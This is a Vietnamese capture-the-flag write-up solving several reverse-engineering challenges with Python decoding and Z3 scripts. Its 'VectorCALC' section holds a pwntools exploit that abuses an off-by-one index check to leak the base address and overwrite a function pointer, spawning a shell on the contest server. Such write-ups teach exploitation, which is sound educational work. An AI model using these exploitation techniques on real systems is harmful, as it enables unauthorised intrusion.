# MINIW1 ## wanna-one vpn ![](https://hackmd.io/_uploads/r1yh0NXs2.png) Vẫn như thường lệ, tiến hành kiểm tra xem file này là gì: ![](https://hackmd.io/_uploads/HkoSJHmih.png) Thấy được rằng đây là ELF-64 và điều đặc biệt ở đây là "**not stripped**". Có vẻ như bài này khá dễ. Tiến hành phân tích ở IDA. Điều thú vị ở đây là sau khi mình tiến hành xem mã giả trả về là gì thì chương trình lại không cho :(( ![](https://hackmd.io/_uploads/S1vTkSmo3.png) Thế là phải ngồi đọc mã ASM (mình rất lười cũng may là nó khá đơn giản :v) ![](https://hackmd.io/_uploads/SJdEerQs2.png) Ở đây, bắt gặp được đoạn này, đoạn này mục đích chính của nó là so sánh độ dài chuỗi nhập vào và chuỗi được lưu tại `encrypted_flag`, độ dài của chúng phải như nhau. ![](https://hackmd.io/_uploads/HJf5xSXsh.png) Tiếp đến, bắt gặp được một vòng lặp từ đầu đến độ dài của chuỗi được lưu tại `encrypted_flag`. Đối với nhánh bên trái, đầu tiên nó sẽ di chuyển từng byte của chuỗi lưu tại `encrypted_flag` vào `edx`, sau đó di chuyển tiếp từng byte của `input` vào `eax` để xor với 9 và so sánh với chuỗi được lưu tại `encrypted_flag`. Nếu đúng thì sẽ chuyển tới ký tự tiếp theo còn sai thì `Invalid license key!` Qua đó ta có thể hình dung được cách hoạt động của bài như sau: Nhập input(có len như `encrypted_flag`) -> xor 9 từng ký tự -> so sánh với `encrypted_flag`. Đến đây ta chỉ cần viết lại một script nhỏ là xong ```python enc = '^8rq9{Vd:VyesV~9|emVph6t' digi = [ord(n) for n in enc] test = [] for i in digi: test.append(i^9) # print(digi) # print(test) flag = "" flag += "".join(chr(i) for i in test) print(flag) # W1{x0r_m3_plz_w0uld_ya?} ``` ## wanna-one vault ![](https://hackmd.io/_uploads/H1qufSmsh.png) Tương tự bài trên bài này cũng ELF-64 và "**not stripped**" ![](https://hackmd.io/_uploads/HJOwtrQo3.png) Tiến hành phân tích ở IDA, nó cũng không trả về được mã giả thế là phải ngồi đọc ASM :<< ![](https://hackmd.io/_uploads/SycsYS7ih.png) Đoạn này nhằm so sánh đầu vào của chương trình có phải độ dài là 0x20 hay không. Nếu đúng thì chương trình sẽ tiếp tục. ![](https://hackmd.io/_uploads/Bk3Jqr7sn.png) Ở đây, ta thấy được có một vòng lặp từ đầu đến cuối chuỗi. Vì nhánh phải là khi đã hoàn thành xong và cho ra là chính xác nên mình sẽ tập trung hết vào nhánh trái. ![](https://hackmd.io/_uploads/rJY45BQsh.png) Nếu như ta để ý một xíu thì sẽ thấy được `rbp+var_2001D8` như một biến `cnt` và trong hàm `loc_560DCCF3A3CE` có ba đoạn chúng ta cần chú ý đến đó là `xor`, `shl`, `and`. * Đầu tiên `xor`, tức là chương trình sẽ xor ký tự đầu tiên của `input` với `cnt`. * Tiếp đến, chương trình sẽ `shl` 0x10. * Cuối cùng `and` với 1 ở đây mục đích để kiểm tra chẵn hay lẻ đối với `cnt`. ![](https://hackmd.io/_uploads/H1E13BXon.png) Như đã phân tích ở trên đoạn thứ 3 nó sẽ kiểm tra chẵn lẻ với `cnt`. Nếu chẵn (tương ứng nhánh phải) thì nó sẽ `xor` kết quả vừa `shl` cho `0x7020`. Ngược lại thì nó sẽ `xor` với `0x2070` ![](https://hackmd.io/_uploads/Sk7r3Hmjh.png) Cuối cùng, đoạn này có lẽ là đoạn mình cay cú nhất :))). Lúc đầu nhìn hơi vội nhưng ~~vô tình đúng~~. Đó chính là đoạn `xor`. Lúc đầu, mình thấy đoạn này tương tự như `add` tức là sau khi thực hiện các phép tính ở trên thì nó sẽ `add` với `cnt` sau cùng là so sánh với `enc_flag`. Nên mình đã vội vàng đúc kết được công thức của toàn bộ chương trình như sau: `[(x ^(0...31) << 0x10)] ^ 0x... + (0...32)`. Và đây là kết quả :))) ![](https://hackmd.io/_uploads/HyJ4THXs2.png) > "Vô tình đúng ở trên" đó chính là đúng được các chữ đầu =]] Sau đó debug lại script cũng như nhìn lại kỹ một lần nữa và mình phát hiện nó là `xor` (tuy khá dễ nhưng đoạn này đã làm mất khá nhiều thời gian). Và đây là script để giải thử thách này: ```python enc = b'\x00\x00\x00\x00\x00q 0\x00\x00\x00\x00\x00"py\x00\x00\x00\x00\x00s a\x00\x00\x00\x00\x00$p5\x00\x00\x00\x00\x00u q\x00\x00\x00\x00\x00&pY\x00\x00\x00\x00\x00w 7\x00\x00\x00\x00\x00(px\x00\x00\x00\x00\x00y :\x00\x00\x00\x00\x00*px\x00\x00\x00\x00\x00{ j\x00\x00\x00\x00\x00,px\x00\x00\x00\x00\x00} <\x00\x00\x00\x00\x00.p>\x00\x00\x00\x00\x00\x7f a\x00\x00\x00\x00\x000pO\x00\x00\x00\x00\x00a g\x00\x00\x00\x00\x002ps\x00\x00\x00\x00\x00c f\x00\x00\x00\x00\x004px\x00\x00\x00\x00\x00e a\x00\x00\x00\x00\x006pI\x00\x00\x00\x00\x00g p\x00\x00\x00\x00\x008pw\x00\x00\x00\x00\x00i v\x00\x00\x00\x00\x00:p~\x00\x00\x00\x00\x00k D\x00\x00\x00\x00\x00<pv\x00\x00\x00\x00\x00m -\x00\x00\x00\x00\x00>p|\x00\x00\x00\x00\x00o b' print(len(enc)) tmp = [] tmp.append(0x577020) for i in range(0, len(enc), 4): wtf = int(hex(u32(enc[i:i+4]))[:-2], 16) if wtf != 0: tmp.append(wtf) # print(tmp) s = Solver() x = [BitVec(f'x{i}', 32) for i in range(len(tmp))] cp = x[:] cnt = 0 for flag, var in zip(tmp, cp): if cnt % 2 == 0: constraint = (((((var ^ cnt) << 0x10) ^ 0x7020) ^ cnt) == flag) else: constraint = (((((var ^ cnt) << 0x10) ^ 0x2070) ^ cnt) == flag) cnt += 1 s.add(constraint) if s.check() == sat: model = s.model() solution = [model[var].as_long() for var in x] print(solution) # W1{b1t_0p3rat10n_vault_good_j0b} ``` ## Pu Pu flag checker ![](https://hackmd.io/_uploads/HyBhAH7sn.png) Ở thử thách này nhận được một file html, tiến hành xem source code phát hiện có một đoạn js đã bị obfuscate ![](https://hackmd.io/_uploads/rkUuSIQo3.png) Mình đã thử lên trang https://lelinhtinh.github.io/de4js/ để deobfuscate nhưng có vẻ kết quả vẫn không mấy khả quan cho lắm :<<< ![](https://hackmd.io/_uploads/HJmnSIQon.png) Chuyển sang GPT nhờ nó giúp mình và cũng có thể nói là rõ ràng hơn được một xíu: ```javascript function byteArrayToBase64(byteArray) { let str = ''; for (let i = 0; i < byteArray.length; i++) { str += String.fromCharCode(byteArray[i]); } const base64String = btoa(str); return base64String; } function xorStrings(string1, string2) { let result = ''; for (let i = 0; i < string1.length && i < string2.length; i++) { const charCode1 = string1.charCodeAt(i); const charCode2 = string2.charCodeAt(i); const xorResult = charCode1 ^ charCode2; result += String.fromCharCode(xorResult); } return result; } function check(inputString) { if (inputString.length !== 44) { return alert('Incorrect length!'); } const keyArray = [/* The key array is too long to display */]; const inputByteArray = []; for (let i = 0; i < inputString.length; i++) { inputByteArray.push(inputString.charCodeAt(i)); } for (let round = 0; round < 16; round++) { for (let i = 0; i < inputByteArray.length; i++) { inputByteArray[i] = keyArray[inputByteArray[i]]; } } const decryptedString = byteArrayToBase64(inputByteArray); console.log(decryptedString); if (decryptedString !== '/52NXNAD7Lui+5G7idT7Dbue0L7vkV/bDey779tzuwf7c5G7c5HbDZHswUs=') { return alert('Incorrect flag!'); } return alert('Good job, you\'re welcome!!'); } ``` Lúc mới đầu nhìn vào đoạn đập vào mắt mình đầu tiên đó chính là `inputByteArray[i] = keyArray[inputByteArray[i]]` với những ai chơi rev cũng như đã học qua các môn lập trình thì có lẽ không còn quá xa lạ gì với cách mã hóa này :3 Đoạn js trên kiểm tra độ dài có phải là 44 hay không. Chuyển đổi kết quả về số nguyên. Sau đó thực hiện biến đổi 16 vòng mỗi vòng chạy từ đầu đến cuối keyArray. Say đó chuyển đổi 16 lần này bằng cách Base64. Sau cùng là so sánh với `decryptedString `. Còn lại các hàm còn lại mục đích chỉ để gây rối cho chương trình để làm tăng tính phức tạp. Đây là scipt của mình để giải bài này: ```python import base64 def decode(encoded_flag, s_box, rounds): decoded_flag = base64.b64decode(encoded_flag) decoded_flag = [x for x in decoded_flag] tmp = [0] * 256 for idx, val in enumerate(s_box): tmp[val] = idx for _ in range(rounds): for i in range(len(decoded_flag)): decoded_flag[i] = tmp[decoded_flag[i]] return bytes(decoded_flag) s_box = [ 99, 124, 119, 123, 242, 107, 111, 197, 48, 1, 103, 43, 254, 215, 171, 118, 202, 130, 201, 125, 250, 89, 71, 240, 173, 212, 162, 175, 156, 164, 114, 192, 183, 253, 147, 38, 54, 63, 247, 204, 52, 165, 229, 241, 113, 216, 49, 21, 4, 199, 35, 195, 24, 150, 5, 154, 7, 18, 128, 226, 235, 39, 178, 117, 9, 131, 44, 26, 27, 110, 90, 160, 82, 59, 214, 179, 41, 227, 47, 132, 83, 209, 0, 237, 32, 252, 177, 91, 106, 203, 190, 57, 74, 76, 88, 207, 208, 239, 170, 251, 67, 77, 51, 133, 69, 249, 2, 127, 80, 60, 159, 168, 81, 163, 64, 143, 146, 157, 56, 245, 188, 182, 218, 33, 16, 255, 243, 210, 205, 12, 19, 236, 95, 151, 68, 23, 196, 167, 126, 61, 100, 93, 25, 115, 96, 129, 79, 220, 34, 42, 144, 136, 70, 238, 184, 20, 222, 94, 11, 219, 224, 50, 58, 10, 73, 6, 36, 92, 194, 211, 172, 98, 145, 149, 228, 121, 231, 200, 55, 109, 141, 213, 78, 169, 108, 86, 244, 234, 101, 122, 174, 8, 186, 120, 37, 46, 28, 166, 180, 198, 232, 221, 116, 31, 75, 189, 139, 138, 112, 62, 181, 102, 72, 3, 246, 14, 97, 53, 87, 185, 134, 193, 29, 158, 225, 248, 152, 17, 105, 217, 142, 148, 155, 30, 135, 233, 206, 85, 40, 223, 140, 161, 137, 13, 191, 230, 66, 104, 65, 153, 45, 15, 176, 84, 187, 22, ] encoded_flag = '/52NXNAD7Lui+5G7idT7Dbue0L7vkV/bDey779tzuwf7c5G7c5HbDZHswUs=' rounds = 16 flag = decode(encoded_flag, s_box, rounds) print(flag.decode('utf-8')) # W1{Nice_but_your_nightmare_has_just_started} ``` > Nó đôi chút khác với JUST_2023 nhưng cơ bản thì cũng dựa vào cách đó. ## VectorCALC ![](https://hackmd.io/_uploads/Sk3HWimon.png) Như những bài pwn khác mình sẽ kiểm tra xem file có độ bảo mật ra sao. ![](https://hackmd.io/_uploads/r13BQomsn.png) Ở đây, thấy được rằng tất cả đều enabled và NX cũng enable, thế là ta không thể thực thi shellcode trong stack được. Tiến hành đọc source code của bài này ![](https://hackmd.io/_uploads/Sy1kSjQsn.png) Ta thấy có một `Vector` dưới dạng struct và trong này có một con trỏ hàm. Tiếp đến là danh sách các vector với max là 3 cũng như các con trỏ `sum` và `faves`. ![](https://hackmd.io/_uploads/ryamIo7i3.png) Tiếp đến là các hàm để nhập dữ liệu cũng như in dữ liệu, vì tất cả đã có symbol nên không cần quan tâm nhiều đến là mấy, chỉ cần nhìn vào là đã thấy được mục đích của hàm đó. ![](https://hackmd.io/_uploads/ByBxwj7i2.png) Ở hàm này, nhập vào `idx` và kiểm tra xem có hợp lệ hay không, nếu hợp lệ sẽ tiến hành tính tổng của các vector trong danh sách `v_list` và được lưu tại vị trí được chỉ `idx` chỉ định. ![](https://hackmd.io/_uploads/B10tss7o2.png) Tiếp đến là hàm tải vào vector được tính tổng và lưu trữ trước đó vào `faves` tại `idx` ![](https://hackmd.io/_uploads/HkMi3sXih.png) Ở hai hàm này đó là in ra và cộng vector tính tổng `sum` với các vector tại `faves` với chỉ mục là `idx` do người dùng nhập vào. ![](https://hackmd.io/_uploads/B1cQAsXj3.png) Cuồi cùng là hàm gọi hệ thống thực thi câu lệnh `/bin/sh` ![](https://hackmd.io/_uploads/rkI8yh7jn.png) Nếu ta đọc kĩ đoạn code, ở trên `MAX_VECTORS` chỉ có 3 tức bắt đầu từ `0, 1, 2` nhưng ở đây khi kiểm tra thì `idx > MAX_VECTORS`. Từ đó ta sẽ thử tiến hành ghi đè lên `sum` để từ `((struct Vector *)sum)->printFunc(sum)` ta sẽ tiến tới được `w1n()`. Bây giờ, để làm được điều đó phải có được địa chỉ cơ bản của binary. ![](https://hackmd.io/_uploads/HyHebn7j3.png) Tại đây, ta có thể leak được địa chỉ cơ bản đó, chính là lợi dụng `faves[idx]` với `idx = 2`. Vì `idx=2` thì lúc này `sum` sẽ trỏ đến một hàm và từ hàm này ta sẽ có được base(thứ mà ta đang tìm kiếm). Xong ta sẽ ghi đè `w1n` vào chunk2 và ghi đè `sum` vào chunk2-16. Đây là script để làm bài này: ```python from pwn import * proc=process('./chall') #proc=remote('45.122.249.68', 20017) exe=ELF('./chall') gdb.attach(proc) for i in range(3): proc.sendlineafter(b'> ', b'1') proc.sendlineafter(b'Index: ', str(i).encode()) proc.sendlineafter(b'x: ', b'100') proc.sendlineafter(b'y: ', b'100') proc.sendlineafter(b'> ', b'2') proc.sendlineafter(b'Save the sum to index: ', b'2') proc.sendlineafter(b'> ', b'4') proc.sendline(b'2') proc.sendline(b'5') proc.sendline(b'2') proc.recvuntil(b'Data: \nv = [') base=proc.recv()[:14] base=int(base)-4957 # calcul base print(hex(base)) proc.sendline(b'1') proc.sendline(b'2') proc.sendline(str(base+6610)) # addr w1n proc.sendline(b'0') proc.sendline(b'1') proc.sendline(b'3') # overwrite sum proc.sendline(str(base+16480)) # chunk2-16 proc.sendline(b'0') proc.sendline(b'3') proc.interactive() ``` ![](https://hackmd.io/_uploads/Bketmnmj3.png) Sau khi có được shell việc còn lại chỉ là làm trực tiếp trên server. `W1{Ooops,... Pointers, uint64_t, long long, what the heck are they?}` > Tuy pwn không phải thế mạnh của mình, nhưng vì ở những giải trước khi xong rev mình cũng tham khảo thêm những kỹ thuật cũng như những lỗi cơ bản, nên có chút kinh nghiệm và bây giờ nó vô tình giúp ích cho mình thật ^^. ## wanna-one intels ![](https://hackmd.io/_uploads/rkH1E37s3.png) Vô tình làm được bài pwn trên, mình đã không tính làm nữa vì đây cũng không phải là sở trường của mình nhưng khi vào check discord thì mình thấy như này :3 nên phải lôi ra thử xem nó như nào: ![](https://hackmd.io/_uploads/rk_AQeVs2.png) Vẫn như thói quen ở rev, mình tiến hành phân tích bằng IDA thì đây chính là kết quả mà mình nhận được ![](https://hackmd.io/_uploads/ByisNgVs2.png) Hàm `main` với return 0 =))) ![](https://hackmd.io/_uploads/rJ2ANxVsh.png) Lướt thêm một hồi nữa thì mình lại thấy có bóng dáng của `quick sort` cứ nghĩ rằng bài này sẽ nặng về "cp". Nhưng nếu như "cp" thì nó lấy dữ liệu từ đâu???? Nên mình đã quyết định debug xem như thế nào. ![](https://hackmd.io/_uploads/rkSYUg4jh.png) Đặt breakpoint ngay tại xor. Khi tới `retn` mình nhảy thẳng vào kiểm tra xem nó có gì. Bởi bản chất của retn chính là gọi hàm `exit()`. Và điều làm mình khá bất ngờ về hàm `exit()`. Hàm này tuy `exit` nhưng mà nó lạ lắm =))) ![](https://hackmd.io/_uploads/Bk2iPeVo3.png) Ở ngoài thì `call exit`, nhưng khá bất ngờ khi vào trong hàm này. Trước khi thật sự gọi exit, mình lại thấy có một call khá mờ ám `call __run_exit_handlers`, tới đây đã quá đủ bất ngờ rồi, không nghĩ nhiều mình nhảy thẳng vào xem nó làm gì ở trong này. Bởi một khi đã debug được thì mình cứ kiểm tra hết tất cả thôi. ![](https://hackmd.io/_uploads/HJeDdeNon.png) Qủa thật không sai, tại đây có một đoạn shellcode đơn giản là load những giá trị đã được set sẵn sau đó thực hiện các phép tính cộng (0x17), trừ (cnt), xor(0xF3). Và chạy một vòng lặp đến 0x18 thì dừng lại. Tiếp tục chạy đến khi dừng thì đây là thứ mình thu được ![](https://hackmd.io/_uploads/rJLbceEon.png) > Còn duy nhất 1 bài rev nữa, mình khá tiếc vì mình check được nó là RC4 nhưng không còn thời gian để làm :((